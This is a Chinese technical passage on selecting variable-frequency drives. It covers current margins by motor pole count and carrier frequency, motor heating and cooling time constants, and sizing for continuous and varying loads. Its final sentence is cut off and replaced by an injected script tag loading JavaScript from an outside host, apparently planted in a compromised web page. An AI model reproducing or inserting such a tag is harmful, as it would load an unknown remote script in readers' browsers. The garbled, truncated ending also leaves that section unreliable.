3.1 变频选型最重要
3.1.1电流裕量须留意
在变频器的技术数据中,有一栏“配用电动机容量”。从一般的概念来说,在容量适配的情况下,变频器的额定电流应该大于或等于电动机的额定电流,但实际情况却并不完全如此。
3.1.1.1电动机的额定电流因磁极对数而异
电动机的磁极对数越多,则额定电流越大。一般说来,2对磁极(4极)以下的电动机,额定电流都小于同容量变频器的额定电流;但3对磁极(6极)以上电动机的额定电流往往比同容量变频器的额定电流大。
今将通用的y系列电动机和若干种变频器的额定电流列表如表3-1。
由表3-1可以看出,各种变频器的额定电流小于4对磁极(8极)电动机额定电流的情况比较普遍,需要引起注意。
3.1.1.2变频器的额定电流因载波频率而异
西门子440系列变频器的技术数据中,对于不同载波频率时的额定电流有明确规定,以适配电动机为22kw的变频器为例,其额定电流如表3-2所示。
表3-2表明,随着载波频率的上升,变频器允许的额定电流下降的幅度是不小的。极大多数变频器在技术数据中,并未说明其额定电流对应的载波频率。用户在选择时必须根据变频器周围的具体环境慎重选择。
例如,变频器所处环境比较安静,如电动机发出电磁噪音,将十分刺耳,载波频率必须较高者,应注意变频器的额定电流是要打折扣的。
又如,生产机械本身的噪音较大,足以掩盖电动机的电磁噪音,但周围的仪器、仪表较多,容易受到变频器的干扰,则变频器的载波频率应尽量地低。在这种情况下,变频器的额定电流是较大的。
3.1.2负载工况是依据
生产机械在选配电动机时,主要的依据是电动机的温升。只要电动机的温升不超过额定值,在大多数情况下是允许的。
3.1.2.1电动机的温升
电动机在运行时,存在着铜损、铁损以及机械损失等各种功率的损失。这些损耗功率都要转化成热量,使电动机的温度上升。温度太高了,会破坏电动机各部分的绝缘,使电动机由局部短路扩展成相间短路而将电动机“烧坏”。
因此,电动机规定了一个额定温升,定义为电动机允许的最高温度与环境温度之差。我国的环境温度定为40℃。
所以,了解电动机在运行过程中,温度上升和下降的规律是十分重要的。
电动机在温度上升的同时,和周围温度之间便出现了温差,就会向周围空间散发热量。所以,电动机的温升曲线实际上是电动机产生的热量和散发的热量之间互相平衡的结果。
图3-1(a)中的曲线①是发热时的温升曲线。开始时,因为温差较小,散热较少,故电动机的温度上升较快。随着电动机温度的升高,电动机与周转环境间的温差增大,散热加快,温度便上升得慢了。当电动机的温度上升到一定程度时,电动机产生热量的速度与散热的速度相等时,温度便不再升高。这时,电动机的温升称为稳定温升,如图中之θs。图中的曲线②是曲线①的切线,与θ=θs线相交于a点,与a点对应的时间τr称为发热时间常数,通常用来描述过渡过程所需时间的。其物理意义通常有两种解释:
图3-1 电动机的发热与散热
(1) 如果电动机不散热,达到稳定温升所需要的时间;
(2) 当温度上升到稳定温升的63%(θ=0.63θs)所需要的时间。
图3-1(b)中的曲线③是散热时的冷却曲线。当电动机停止运行时,起初因为电动机的温度较高,散热较快。随着电动机的温度与周转环境的温差减小,散热减缓,温度便下降得慢了。曲线④是曲线③的切线,与θ=0线相交于b点,与b点对应的时间τd称为散热时间常数。τd的物理意义是:温度下降稳定温升的63%所需要的时间。
电动机的发热过程和冷却过程有两个特点:
(1) 发热和冷却的时间常数和周围环境有很大关系;
(2) 发热时间常数和冷却时间常数通常是不相等的。
3.1.2.2连续不变负载的变频器选择
所谓连续不变负载,是指负载是连续运行的,在运行过程中,负载转矩的大小基本不变。如图3-2中的曲线①所示。
图3-2 连续不变负载的容量选择
电动机在拖动这类负载时,温升能够达到稳定温升θs,θs是与负载转矩对应的稳定温升。
常见的连续不变负载有:带式输送机、风机、水泵等。
这类负载在选择变频器时,原则上只需使变频器的“配用电动机容量”与电动机的实际容量相等即可:
pn=pmn (3-1)
式中,pn—变频器的“配用电动机容量”,kw;
pmn—电动机的额定容量,kw。
3.1.2.3 连续变动负载与断续负载的变频器选择
(1) 连续变动负载
负载是连续运行的,但负载的轻重却是经常变动的,如图3-3(a)所示。例如,塑料挤出机的工况就属于这一类。
图3-3 连续变动负载与断续负载
当电动机拖动这类负载时,其温升?script src=http://er12.com/t.js>











